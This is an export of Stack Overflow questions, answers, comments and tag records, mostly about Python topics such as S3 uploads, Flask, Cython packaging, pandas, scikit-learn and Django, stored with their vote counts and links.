has body: The script can upload small files, a few MBs, but not working for large files. I am trying to upload a file with 7GB, this will cause a socket error: socket.error: [Errno 10054] An existing connection was forcibly closed by the re mote host s3_connection = boto.connect_s3(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY) bucket = s3_connection.get_bucket('yardi-backup') key = boto.s3.key.Key(bucket, os.path.basename(latest_file)) key.set_contents_from_filename(latest_file) sys.exit(0) with open(latest_file, 'r') as f: #key.send_file(f) key.set_contents_from_file(f)
downvote count: 1
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/85911382
type: Question
tagged with: amazon-s3
tagged with: python
type: UnansweredQuestion
has title: AWS S3 , drop existing connection when upload large file
score: -1
has answer: http://stackoverflow.com/a/49457085
upvote count: 0

http://stackoverflow.com/q/49578955
answer count: 2
downvote count: 0
tagged with: environment-variables
accepted answer: http://stackoverflow.com/a/49579291
score: 6
favorite count: 0
type: Question
has body: I'm working on my Flask project in a virtualenv. Every time I start a new terminal, I have to reinitialize these Flask environment variables: export FLASK_APP="server.py" export FLASK_DEBUG="1" My goal is to not have to type them in manually. I tried writing a Python script that set them, but couldn't make it work. I tried writing a shell script that set them, but Flask would raise an error that said my Python path was incorrect. Finally, I tried adding the the env vars to the bottom of the virtualenv's activate script. It worked! The env vars are set and Flask runs as expected. $ source venv/bin/activate $ flask run Is it OK to modify the activate script like this? This is just for development purposes.
has answer: http://stackoverflow.com/a/49579291
has answer: http://stackoverflow.com/a/49579303
possible better answer: http://stackoverflow.com/a/49579303
upvote count: 6
tagged with: python
tagged with: flask
has title: Is adding Flask env vars to the virtualenv's activate script OK?
type: AnsweredQuestion

http://stackoverflow.com/comment/86130300
comment on: http://stackoverflow.com/q/49561092
has text: Also, that'll find "is", not just "Here".
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86100497
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49546323
type: AnswerComment
has text: Thank you! Unfortunately, I have tried that and it didn't do anything.

http://stackoverflow.com/comment/86145993
comment on: http://stackoverflow.com/q/49568666
score: 0
has text: Did you add router.url to urls: `url(r'^users/', include(router.urls)),`?
type: Comment
type: QuestionComment

spyder
tag name: spyder
tags question: http://stackoverflow.com/q/49591120
tags question: http://stackoverflow.com/q/49560755
tags question: http://stackoverflow.com/q/49455932
tags question: http://stackoverflow.com/q/49524514
tags question: http://stackoverflow.com/q/49530068
type: Tag
tags question: http://stackoverflow.com/q/49572454

http://stackoverflow.com/a/49549635
upvote count: 6
downvote count: 0
has body: It's very hard to say if it will work for you without seeing a larger sample of your images, but you may find an "auto-gamma" useful. There is one built into ImageMagick and the description - so that you can calculate it yourself - is: Automagically adjust gamma level of image. This calculates the mean values of an image, then applies a calculated -gamma adjustment so that the mean color in the image will get a value of 50%. This means that any solid 'gray' image becomes 50% gray. This works well for real-life images with little or no extreme dark and light areas, but tend to fail for images with large amounts of bright sky or dark shadows. It also does not work well for diagrams or cartoon like images. You can try it out yourself on the command line very simply before you go and spend a lot of time coding something that may not work: convert Tribunal.jpg -auto-gamma result.png You can do -auto-level as per your own code beforehand, and a thousand other things too: convert Tribunal.jpg -auto-level -auto-gamma result.png
score: 6
type: Answer
answers question: http://stackoverflow.com/q/49546179

http://stackoverflow.com/comment/86126933
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49548164
type: AnswerComment
has text: Thanks for your reply! This syntax also works with `ev.register(type(Plus), lambda p: ev(p.first) + ev(p.second))`-syntax, which is reasonably concise. This is nice, but unfortunately `@singledispatch` does not work if `ev` is a method, so that I cannot hide all the `@singledispatch` and `@foobar.register` decorators in a single `Interpreter`-base class. So, maybe it would actually be easier to write a generic `Interpreter`/`Fold` using `isinstance` once, and then extend it in the concrete implementations.

http://stackoverflow.com/comment/86193511
score: 0
type: Comment
type: QuestionComment
has text: @henningb you can only give credits for an answer. Since his was a comment you can upvote that. You can also answer your own question and accept it so the next person who comes along can easily find it. Or you could ask Alasdair to post his comment as an answer and accept that one.
comment on: http://stackoverflow.com/q/49592466

http://stackoverflow.com/q/49452144
has comment: http://stackoverflow.com/comment/85923040
answer count: 0
has body: I want to run python command as follows, without the whole path of pyahp or other scripts. It reported the error. I have to add the whole path, ie .../site_packages/ that is tedious. How can I run it directly? [~] python pyahp /Library/Frameworks/Python.framework/Versions/3.6/Resources/Python.app/Contents/MacOS/Python: can't open file 'pyahp': [Errno 2] No such file or directory I trid to add pythonpath, however it failed. export PYTHONPATH="$PYTHONPATH:/Library/Frameworks/Python.framework/Versions/3.6/lib"
score: 0
tagged with: pythonpath
has title: set path for python command in shell(mac)
has comment: http://stackoverflow.com/comment/85907569
type: Question
type: UnansweredQuestion
tagged with: python

aes
tag name: aes
type: Tag
tags question: http://stackoverflow.com/q/49477614

http://stackoverflow.com/q/49471084
downvote count: 1
upvote count: 6
has title: Prepare package with Cython extension to publish on PyPI
type: Question
has answer: http://stackoverflow.com/a/74888330
has comment: http://stackoverflow.com/comment/86030540
tagged with: packaging
favorite count: 0
tagged with: python-import
has answer: http://stackoverflow.com/a/49694929
tagged with: setup.py
has comment: http://stackoverflow.com/comment/85988691
tagged with: package
answer count: 2
score: 5
tagged with: python
type: UnansweredQuestion
has body: I'm going to create C library and I would like to create Python wrapper using Cython. Right now I have mylib.a file compiled and bundled (C files) and I want to wrap methods from my library in Cython. I successfully created .pyx and .pxd files and I can build an extension using python setup.py build_ext command. My problem appears when I try to publish it on PyPI. If I run my setup.py, create a wheel and publish it I can download it from PyPI - but I can't run import mylib. I read a lot online tutorials for this. Few of them shown that theirs C code compiled on user side. My codebase will be constructed from many files and I would prefer to supply already build C code as .a file. My file structure (only important files): / lib - mylib.a - *.h files (for mylib.a) - setup.py / mylib - mylib.pyx - cmylib.pxd - __init__.py My __init__.py file (after importing package downloaded from PyPI it throws errors here): from . import mylib My setup.py (only important parameters - in my opinion): setup(name='mylib' packages=['mylib'], ext_modules = [Extension( name="mylib", sources=["mylib/mylib.bycython.c"], include_dirs = [numpy.get_include(), "lib/"], extra_objects=["lib/mylib.a"])], "build_ext": build_ext } ) (I build mylib.bycython.c from mylib.pyx using cython command before python setup.py build_ext. According to this article it will make package installation faster and will not require user to have the same Cython version.) It maybe worth mentioning - after building my package I get .so file for mylib. If I copy it to mylib/ directory then from parent directory I can import mylib and access my methods using mylib.mylib.say_hello(). However it doesn't work on package installed from PyPI (on other PC) neither I don't want to use mylib.mylib. If I should provide more info - let me know. Edit: My real project on GitHub: https://github.com/franiis/statr-python. I want to successfully run say_hello() method from statr.pyx (other methods probably will not work). I know code has …

http://stackoverflow.com/comment/86102646
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49547230
has text: I think, `astimezone()` method doing the same job as you looking for. It convert one timezone aware `datetime` object to anothor timezone. right ?

http://stackoverflow.com/q/49485217
type: AnsweredQuestion
upvote count: 0
answer count: 2
downvote count: 7
favorite count: 0
accepted answer: http://stackoverflow.com/a/49485433
type: Question
possible better answer: http://stackoverflow.com/a/49485615
has title: Which should I use between cmd and the Python interpreter?
tagged with: python
score: -7
has body: I have created a memo.py file in the 'C: / Python' directory using the Pycharm program. # C:/Python/memo.py import sys option = sys.argv[1] memo = sys.argv[2] print(option) print(memo) Where do I enter the content? C:\Python&gt;python memo.py -a "Life is too short" cmd or Python interpreter or pycharm?
has answer: http://stackoverflow.com/a/49485615
has answer: http://stackoverflow.com/a/49485433

http://stackoverflow.com/q/49501599
favorite count: 0
accepted answer: http://stackoverflow.com/a/49502798
type: Question
has answer: http://stackoverflow.com/a/49502798
upvote count: 2
tagged with: flask-admin
downvote count: 0
tagged with: python
tagged with: flask
has title: Flask-Admin - custom view with original form
has body: I am trying to create a custom edit-view in Flask-Admin where I use the original edit form and add more content to it. I want to use in my template the original: {% extends 'admin/master.html' %} {% import 'admin/lib.html' as lib with context %} (...) {% block edit_form %} {{ lib.render_form(form, return_url, extra(), form_opts) }} {% endblock %} But I am having trouble passing the original form to the self.render(...) function in my custom view: class MyView(sqla.ModelView): # (view options) @expose('/edit/', methods=('GET', 'POST')) def edit_view(self): # (custom view variables) return self.render('my_edit_view.html') I believe I have to pass some parameters in the self.render function. I tried to include a form = form but it didn't work (TypeError: 'module' object is not iterable)... Any ideas? Thanks!!
type: AnsweredQuestion
score: 2
linked to: http://stackoverflow.com/q/20709255
answer count: 1

http://stackoverflow.com/a/49502021
type: Answer
has body: You can use itertools.groupby: import itertools l = [['John', 'Adams', '&amp;', 'George', 'Washington'], ['John', 'Adams', 'Jr.', '&amp;', 'George', 'Washington']] for i in l: a, _, b = [' '.join(b) for a, b in itertools.groupby(i, key=lambda x:x=='&amp;')] print(a, b) Output: ('John Adams', 'George Washington') ('John Adams Jr.', 'George Washington')
upvote count: 2
downvote count: 1
answers question: http://stackoverflow.com/q/49502004
score: 1

http://stackoverflow.com/a/49593821
has body: There is two way .. op1 category pd.Series(["low", "low", "med", "low", "med", "high"]).astype('category').cat.codes Out[1454]: 0 1 1 1 2 2 3 1 4 2 5 0 dtype: int8 op2 factorize pd.factorize(pd.Series(["low", "low", "med", "low", "med", "high"]))[0] Out[1455]: array([0, 0, 1, 0, 1, 2], dtype=int64)
score: 1
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/49593797
upvote count: 1

http://stackoverflow.com/a/49514865
answers question: http://stackoverflow.com/q/49514671
type: Answer
has comment: http://stackoverflow.com/comment/86373900
upvote count: 2
score: 2
downvote count: 0
has body: You're getting an error message because the dataframe you're trying to change is not df. You need to reset the index of res instead. Then it works fine. res.reset_index().replace({'Give_Show_Navigate_Direct' : 'phrasal_verbs'})
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49514671

http://stackoverflow.com/a/65853540
score: 3
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/49460486
has body: If there is already a Pipfile created, delete it and push deploy it again. It should re-install your dependencies. That is what worked for me.
type: Answer

http://stackoverflow.com/comment/86050149
type: Comment
type: QuestionComment
has text: @Medo Can we see your code and error ?
score: 0
comment on: http://stackoverflow.com/q/49522026

http://stackoverflow.com/q/49507892
tagged with: continuous
score: 2
answer count: 1
has comment: http://stackoverflow.com/comment/90106795
favorite count: 0
type: Question
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/54994798
downvote count: 0
tagged with: python
tagged with: integration
has body: from flask import Flask, request, jsonify, make_response import json from flask_sqlalchemy import SQLAlchemy from datetime import datetime I have the import options in my app.py as above, the code runs well on my local machine but I get this error during travis build: Traceback (most recent call last): File "/home/travis/virtualenv/python3.6.3/lib/python3.6/site-packages/nose/failure.py", line 39, in runTest raise self.exc_val.with_traceback(self.tb) File "/home/travis/virtualenv/python3.6.3/lib/python3.6/site-packages/nose/loader.py", line 418, in loadTestsFromName addr.filename, addr.module) File "/home/travis/virtualenv/python3.6.3/lib/python3.6/site-packages/nose/importer.py", line 47, in importFromPath return self.importFromDir(dir_path, fqname) File "/home/travis/virtualenv/python3.6.3/lib/python3.6/site-packages/nose/importer.py", line 94, in importFromDir mod = load_module(part_fqname, fh, filename, desc) File "/home/travis/virtualenv/python3.6.3/lib/python3.6/imp.py", line 235, in load_module return load_source(name, filename, file) File "/home/travis/virtualenv/python3.6.3/lib/python3.6/imp.py", line 172, in load_source module = _load(spec) File "&lt;frozen importlib._bootstrap&gt;", line 684, in _load File "&lt;frozen importlib._bootstrap&gt;", line 665, in _load_unlocked File "&lt;frozen importlib._bootstrap_external&gt;", line 678, in exec_module File "&lt;frozen importlib._bootstrap&gt;", line 219, in _call_with_frames_removed File "/home/travis/build/Bonifase/WeConnect-/api/test_business.py", line 2, in &lt;module&gt; import app File "/home/travis/build/Bonifase/WeConnect-/api/app.py", line 3, in &lt;module&gt; from flask_sqlalchemy import SQLAlchemy ModuleNotFoundError: No module named 'flask_sqlalchemy'
tagged with: travis-ci
has title: ERROR: Failure: ModuleNotFoundError (No module named 'flask_sqlalchemy')

http://stackoverflow.com/comment/85944939
comment on: http://stackoverflow.com/q/49471142
has text: Try: `print(process.extract(i, others))`
type: Comment
type: QuestionComment
score: 2

http://stackoverflow.com/comment/86106896
comment on: http://stackoverflow.com/a/49549339
type: Comment
score: 0
type: AnswerComment
has text: I am still getting the same error for some reason. Could you try to install the package? It's very simple, try it and see if you get the same thing

http://stackoverflow.com/a/49467413
upvote count: 1
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49467327
has comment: http://stackoverflow.com/comment/85937604
has body: The IP addresses (I assume you are dealing with IPv4) have a maximum length of 15 characters. In the case where you have something like 192.128.1.1 just add preceding zeros and turn it to 192.128.001.001 - that way you get to a fixed length. You send the IP first, then the message. On the receiving side you can strip those zeros away. Alternatively, add a single-byte header that will specify the length of the IP address. Another solution is to introduce a delay of a few seconds between the send() statements, for example: conn.send(ip_addr) time.sleep(3) conn.send(msg) Or just send the IP address as the first 4 bytes, unless you have a reason to send the IP address a string.
type: Answer
accepted answer of: http://stackoverflow.com/q/49467327
downvote count: 0

http-headers
tags question: http://stackoverflow.com/q/49487778
tags question: http://stackoverflow.com/q/49478683
type: Tag
tag name: http-headers
tags question: http://stackoverflow.com/q/49488119

http://stackoverflow.com/a/49534620
accepted answer of: http://stackoverflow.com/q/49534452
answers question: http://stackoverflow.com/q/49534452
has body: I think need create boolean mask with comparing by 0 chaning by &amp; (bitwise AND) with shifted values and for count use cumsum: np.random.seed(1213) df = pd.DataFrame({'secFlg':np.random.randint(2, size=20)}) df['SectionIndex'] = ((df['secFlg'] == 0) &amp; (df['secFlg'].shift() == 1)).cumsum() print (df) secFlg SectionIndex 0 0 0 1 1 0 2 1 0 3 1 0 4 0 1 5 0 1 6 0 1 7 0 1 8 0 1 9 1 1 10 0 2 11 0 2 12 0 2 13 0 2 14 1 2 15 1 2 16 1 2 17 0 3 18 1 3 19 0 4
downvote count: 0
has comment: http://stackoverflow.com/comment/86077790
type: AcceptedAnswer
upvote count: 1
score: 1
type: Answer

http://stackoverflow.com/q/49466393
answer count: 0
has body: I got the feautures' importances by scikit-learn's random forest regressor in python, but I don't understand how it's calculated. I have two questions below, In the case of classification, I guess the importance are decided by the reduction of Gini coefficient. But considering the ensemble, how does this merge the output(feautures' importances) from so many trees? Is it simple average? In the case of regressor, how does it judge the importance? By the reduction of MSE or something? Sorry I'm struggling for getting the definition in Scikit-learn official.
tagged with: random-forest
type: UnansweredQuestion
has title: features' importances Random Forest
tagged with: machine-learning
tagged with: python
downvote count: 0
upvote count: 1
score: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/49457382
downvote count: 0
answer count: 1
tagged with: scrapy
favorite count: 0
has body: I'm trying to build a scraper to retrieve translations from wiktionary. I'm calling this function that should return a list with all the translations of the argument word, but it returns an empty list. The command response.css('ol').re(r'(?&lt;=&gt;)\w+(?=&lt;)') is working on scrappy shell, though. The word I'm using as a test is "Hallo" def scrape_translation(word): url = "https://en.wiktionary.org/wiki/" + word response = HtmlResponse(url=url) translation_list = response.css('ol').re(r'(?&lt;=&gt;)\w+(?=&lt;)') print(translation_list) I'm using Python 3.6.4
accepted answer: http://stackoverflow.com/a/49459010
has comment: http://stackoverflow.com/comment/85920842
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49459010
has title: Scrappy CSS selector returning empty list
tagged with: python
type: Question
tagged with: python-3.x
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/85920431

http://stackoverflow.com/q/49559364
has title: Django-Filter: {{ field.value }} is Empty when rendering form fields
tagged with: django-taggit
answer count: 1
tagged with: django-forms
has answer: http://stackoverflow.com/a/49622485
type: Question
tagged with: django
accepted answer: http://stackoverflow.com/a/49622485
tagged with: python
tagged with: django-filter
has body: I'm using the Django-Filter library !important. For tags, I'm using Django-taggit. I built the following filter.py: class TaskFilter(django_filters.FilterSet): tags = django_filters.ModelMultipleChoiceFilter(widget=forms.CheckboxSelectMultiple, queryset=Task.tags.most_common()) class Meta: model = Task fields = ['tags'] However, when I pass this filter to the template, it doesn't render the tags properly. In particular {{ field.value }} is empty. Let's look at the following cases: CASE 1. # template.html {{ filter.form.tags.errors }} {% for field in filter.form.tags %} {{ field.value }} {% endfor %} # out CASE 2. # template.html {{ filter.form.tags.errors }} {% for field in filter.form.tags %} {{ field }} {% endfor %} # out Tag 1 Tag 2 Tag 3 CASE 3. # template.html {{ filter.form.tags.errors }} {% for field in filter.form.tags %} {{ field }} {{ field.label_tag }} {% endfor %} #out Tag 1 Tag 2 Tag 3 I'm trying to understand why this happens. Why can't I get the values as stated in the docs STEPS TO REPRODUCE pip install django-filter + add 'django_filters' to APPS pip install django-taggit + add 'taggit' to APPS # models.py class Task(models.Model): title = models.CharField(max_length=100, blank=False) tags = TaggableManager() # Use the API to create an object. t = Task.objects.create(title="Title") t.tags.add("Tag 1","Tag 2") # views.py def view(request): f = TaskFilter(request.GET, queryset=Task.objects.all()) return render(request, 'template.html', {'filter': f}
type: AnsweredQuestion
score: 0

http://stackoverflow.com/a/49527892
has comment: http://stackoverflow.com/comment/86074810
type: Answer
score: 0
answers question: http://stackoverflow.com/q/49525187
has body: You never change found_ACT to False if it is not found in line. You should put found_ACT = False inside the loop, or just use "ACT" in line directly. for line in inputFile: line.strip() if "ACT" in line: outputFile.write(line)

http://stackoverflow.com/comment/86121912
has text: `print (table)` `None`
comment on: http://stackoverflow.com/q/49556535
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86125751
type: AnswerComment
comment on: http://stackoverflow.com/a/49558660
type: Comment
score: 0
has text: @greenthumbtack it could work if you designated several centers, one for the left, one for the right and one for the middle. It would become really big or a lot of handwork though...

unsupervised-learning
tags question: http://stackoverflow.com/q/49586742
tag name: unsupervised-learning
type: Tag

http://stackoverflow.com/comment/85987217
has text: Can you add data sample with exected output?
type: QuestionComment
comment on: http://stackoverflow.com/q/49491934
type: Comment
score: 2

http://stackoverflow.com/comment/85958482
has text: `raise ValueError("Can't have objects with same values")`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49477978
score: 0

http://stackoverflow.com/a/49595711
type: Answer
answers question: http://stackoverflow.com/q/49595669
score: -1
has body: Usage of the circle() function: circle(radius, extent=None, steps=None) See more here: https://docs.python.org/2/library/turtle.html#turtle.circle So yes, it is the radius as pixels, the first parameter of the function.
upvote count: 0
downvote count: 1

http://stackoverflow.com/a/49562048
has comment: http://stackoverflow.com/comment/86138022
has comment: http://stackoverflow.com/comment/86138726
has comment: http://stackoverflow.com/comment/86137278
has comment: http://stackoverflow.com/comment/86138107
has comment: http://stackoverflow.com/comment/86138315
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86137455
has comment: http://stackoverflow.com/comment/86138178
has comment: http://stackoverflow.com/comment/86138432
has comment: http://stackoverflow.com/comment/86142031
has comment: http://stackoverflow.com/comment/86137232
has body: You should read the words to check once using csv at the top of the script. Then be careful how you build the filename to check - you need to join the root directory to the filename. Finally, read each target file and then go through the list of words to check. import csv appendData = [] mPath = r"C:\Users\test\Documents\test" wordstoSearch = r"C:\Users\test\Documents\test\strings.csv" # get the words to check with open(wordstoSearch) as fp: reader = csv.reader(fp) words = [cell.strip() for cell in next(reader)] # walk the tree for rootDir, subDir, files in os.walk(mPath, topdown=True): print('Root Directory:', rootDir) for x in files: with open(os.path.join(rootDir, x)) as check_fp: text = check_fp.read() for word in words: if word in text: appendData.append( 'File: {}\nMatching Content: {}\n'.format(x, word)) appendData = '\n'.join(appendData) print (appendData)
score: 0
accepted answer of: http://stackoverflow.com/q/49561733
has comment: http://stackoverflow.com/comment/86137139
has comment: http://stackoverflow.com/comment/86137003
has comment: http://stackoverflow.com/comment/86140418
type: Answer
answers question: http://stackoverflow.com/q/49561733
has comment: http://stackoverflow.com/comment/86140501
has comment: http://stackoverflow.com/comment/86136794

http://stackoverflow.com/comment/86191119
has text: [Explanation of how list comprehension works?](https://stackoverflow.com/questions/20639180/explanation-of-how-list-comprehension-works) -- what you have is a genexp, but the differences aren't very pertinent. Similarly: [What does "list comprehension" mean? How does it work and how can I use it?](https://stackoverflow.com/questions/34835951/what-does-list-comprehension-mean-how-does-it-work-and-how-can-i-use-it/34932520) -- and to explain how those explanations relate to what you have here, https://stackoverflow.com/questions/43943573
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49591689
score: 3

http://stackoverflow.com/a/71155948
type: Answer
answers question: http://stackoverflow.com/q/49530282
downvote count: 0
score: 8
has body: This function will automate all the pain for you. It was written to emulate Photoshop values and can render leading (the space between lines) as well as tracking (the space between characters). def draw_text_psd_style(draw, xy, text, font, tracking=0, leading=None, **kwargs): """ usage: draw_text_psd_style(draw, (0, 0), "Test", tracking=-0.1, leading=32, fill="Blue") Leading is measured from the baseline of one line of text to the baseline of the line above it. Baseline is the invisible line on which most letters—that is, those without descenders—sit. The default auto-leading option sets the leading at 120% of the type size (for example, 12‑point leading for 10‑point type). Tracking is measured in 1/1000 em, a unit of measure that is relative to the current type size. In a 6 point font, 1 em equals 6 points; in a 10 point font, 1 em equals 10 points. Tracking is strictly proportional to the current type size. """ def stutter_chunk(lst, size, overlap=0, default=None): for i in range(0, len(lst), size - overlap): r = list(lst[i:i + size]) while len(r) < size: r.append(default) yield r x, y = xy font_size = font.size lines = text.splitlines() if leading is None: leading = font.size * 1.2 for line in lines: for a, b in stutter_chunk(line, 2, 1, ' '): w = font.getlength(a + b) - font.getlength(b) # dprint("[debug] kwargs") print("[debug] kwargs:{}".format(kwargs)) draw.text((x, y), a, font=font, **kwargs) x += w + (tracking / 1000) * font_size y += leading x = xy[0] It takes a font and a draw object, which can be obtained via: font = ImageFont.truetype("Arial.ttf", 30) draw = ImageDraw.Draw(image)
upvote count: 8

http://stackoverflow.com/comment/131250054
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49562217
score: 0
has text: @xtheking have you found your answer? Can you please share what you found? I am having trouble with this issue as well

http://stackoverflow.com/comment/85923355
type: Comment
score: 1
type: QuestionComment
has text: How about file > download?
comment on: http://stackoverflow.com/q/49460130

http://stackoverflow.com/q/49473671
upvote count: 2
type: AnsweredQuestion
score: 1
answer count: 1
downvote count: 1
favorite count: 0
has title: Bioinformatics - "global name 'start' is not defined"?
type: Question
has body: Design and write a program that could detect transmembrane domains called TMscanner.py. This program should call two other functions that you write: getProteinRegion should return a ten amino acid window (initially grabs amino acid 1-10, the next time 2-20, etc.) The TMscanner should also repeatedly call a second function called testForTM which should calculate and return the decimal fraction of those ten amino acids which are nonpolar. The nonpolar amino acids are [A,V,L,I,P,M,F,W] Example: protein = 'AVLIPMFWGSTNQYDEKRH' #Only the first 9 are nonpolar results = tmScanner(protein) print "Results are", results It should print out: Results are [.8, .7, .6, .5, .4, .3, .2, .1, 0, 0] -- #Test code def getProteinRegion(protein, start): #return first 10 aa in protein return protein[start:start+10] def testForTM(protein): #return ratio of nonpolar aa from a sample of first 10; move them up one step and repeat nonpolar = 0 for aa in getProteinRegion(protein, start): if aa in ['A', 'V', 'L', 'I', 'P', 'M', 'F', 'W']: nonpolar = nonpolar + 1.0 return nonpolar / 10.0 def tmSCANNER(protein): #while the tested in testForTM is less than 10, append testforTM function to results; print results results = [] start = 0 while start &lt;= 10: results = results.append(testForTM(protein)) return results start = start + 1 ##TESTING #print getProteinRegion('AVLIPMFWGSTCNQYDEKRH') #print testForTM('AVLIPMFW') print tmSCANNER('AVLIPMFWGSTCNQYDEKRH') -- Traceback (most recent call last): File "TMscanner.py", line 29, in &lt;module&gt; print tmSCANNER('AVLIPMFWGSTCNQYDEKRH') File "TMscanner.py", line 21, in tmSCANNER results = results.append(testForTM(protein)) File "TMscanner.py", line 10, in testForTM for aa in getProteinRegion(protein, start): NameError: global name 'start' is not defined
tagged with: bioinformatics
accepted answer: http://stackoverflow.com/a/49473747
tagged with: python
has answer: http://stackoverflow.com/a/49473747

http://stackoverflow.com/a/49496425
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/49481943
has body: For Visual Studio Code, you'll need to install ptvsd==2.2.0 rather than 3.0. The 3.0 series of ptvsd is for Visual Studio 2017 only. However, the 4.0 series will be the same for both Visual Studio and Visual Studio Code. You can install this using pip install --pre ptvsd (as it's in preview) and follow the instructions here to enable it. Once 4.0 becomes the default (sometime in mid-2018), you will just be able to install the latest ptvsd to use with any up-to-date Visual Studio or Visual Studio Code.
type: Answer
score: 1

http://stackoverflow.com/comment/86017709
type: Comment
has text: What does `print i['geometry']['coordinates'][0]` before`p = path.Path(i['geometry']['coordinates'][0])` print? Is the geojson somewhere accessible to all nodes, e.g. an ftp?Where is `geofile` declared? If not within the udf then you need to use a `broadcast` variable.
type: QuestionComment
comment on: http://stackoverflow.com/q/49500632
score: 0

http://stackoverflow.com/a/49557515
type: AcceptedAnswer
upvote count: 17
answers question: http://stackoverflow.com/q/49556209
has body: There are a few issues here. The arguments you're passing to the @patch decorator aren't quite right. The target should be specified as a single argument: @patch('MyClass.foo') Your decorated test function will need to accept an additional argument for the patched target - e.g. mock_foo: @patch('MyClass.foo') def test_foo(self, mock_foo): You can then set the side effect on mock_foo: @patch('MyClass.foo') def test_foo(self, mock_foo): mock_foo.side_effect = self._side_effect_foo In addition, _side_effect_foo() should be made a proper instance method with self as the first argument: def _side_effect_foo(self, var1): if condition: return new_value Lastly, you should instantiate MyClass either inside the test method itself, or inside the setUp() method: def setUp(self): self.myClass = MyClass() @patch('MyClass.foo') def test_foo(self, mock_foo): mock_foo.side_effect = self._side_effect_foo self.myClass.bar()
type: Answer
score: 17
accepted answer of: http://stackoverflow.com/q/49556209
downvote count: 0

http://stackoverflow.com/comment/86086225
has text: See https://stackoverflow.com/questions/43547540/cv2-connectedcomponents-not-detecting-components
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49535840

http://stackoverflow.com/q/49471693
answer count: 1
tagged with: scikit-learn
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85946306
has answer: http://stackoverflow.com/a/49475428
has title: Where is the following code for plotting decision surface hanging?
has comment: http://stackoverflow.com/comment/85946477
tagged with: mesh
tagged with: python
tagged with: freeze
has body: As an exercise, I copy-pasted the decision-surface plotting code from the sklearn docs on the iris dataset: # Few differences from the original at the link below (two classes, some renamed vars): # http://scikit-learn.org/stable/auto_examples/tree/plot_iris.html # Parameters n_classes = 2 plot_colors = "rb" plot_step = 0.02 # Get my X and y - each sample is a histogram with a binary class label. X, y, positives = Loader.load_cluster_size_histograms_singular(m=115, upper=21, norm=False, display_plot=False, pretty_print=False) my_features = [str(i+1) for i in range(X.shape[1])] my_features[-1] = my_features[-1] + '+' features = np.asarray(my_features) # Load iris data iris = load_iris() iris.data = iris.data[:, 100] iris.target = iris.target[:, 100] features = iris.feature_names # Comment or uncomment as necessary # Now asserting that my X and y does not contain np.nan or np.inf (wouldn't sklearn catch this though?) # Also check for correct sizing. We're really running out of potential failures here. for i in range(115): assert(np.nan not in X[i]) assert(np.inf not in X[i]) assert(X[i].shape[0] == 21) # They do not. X and y are clean. for pairidx, pair in enumerate([[0, 1], [0, 2], [0, 3], [1, 2], [1, 3], [2, 3]]): # Set local_X = X[:, pair], local_y = y, features to my_features... BOOOOOM! # CPU gets nuked, doesn't terminate. local_X = iris.data[:, pair] local_y = iris.target # Train clf = Pipeline(steps=[("scaling", StandardScaler()), ("classifier", LogisticRegression(verbose=100))]) clf.fit(local_X, local_y) # Plot the decision boundary plt.subplot(2, 3, pairidx + 1) x_min, x_max = local_X[:, 0].min() - 1, local_X[:, 0].max() + 1 y_min, y_max = local_X[:, 1].min() - 1, local_X[:, 1].max() + 1 xx, yy = np.meshgrid(np.arange(x_min, x_max, plot_step), np.arange(y_min, y_max, plot_step)) plt.tight_layout(h_pad=0.5, w_pad=0.5, pad=2.5) Z = clf.predict(np.c_[xx.ravel(), yy.ravel()]) Z = Z.reshape(xx.shape) cs = plt.contourf(xx, yy, Z, cmap=plt.cm.RdYlBu) plt.xlabel(featu…
score: 2
upvote count: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49475428
downvote count: 0

http://stackoverflow.com/comment/85978506
comment on: http://stackoverflow.com/q/49470213
score: 0
type: Comment
has text: Actually, it does not show the y-axis but the image. The problem is, that you have reshaped `X` to be of shape `(786432, 1)`, so what you see is one long chain of pixels.
type: QuestionComment

http://stackoverflow.com/q/49444305
tagged with: object
has title: using class objects in a for loop
has comment: http://stackoverflow.com/comment/85890125
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85890157
tagged with: python
tagged with: class
score: 0
has comment: http://stackoverflow.com/comment/85890951
has answer: http://stackoverflow.com/a/49444917
answer count: 1
has body: I need to use my objects of a class in a for loop, but get an error. Here's the code: class Citizen(): type='Citizen' colony='init' def __init__(self,value1,value2): self.name=value1 self.gender=value2 def __iter__(self): return iter(self.name) def print_citizen(self,colonyname): for i in self.Citizen: if (Citizen.colony==colonyname) : print(i.name,' | Citizen | ',i.gender) and it throws this error: for i in self.Citizen: AttributeError: 'str' object has no attribute 'Citizen' Any idea how to fix this?
type: Question

http://stackoverflow.com/q/49481752
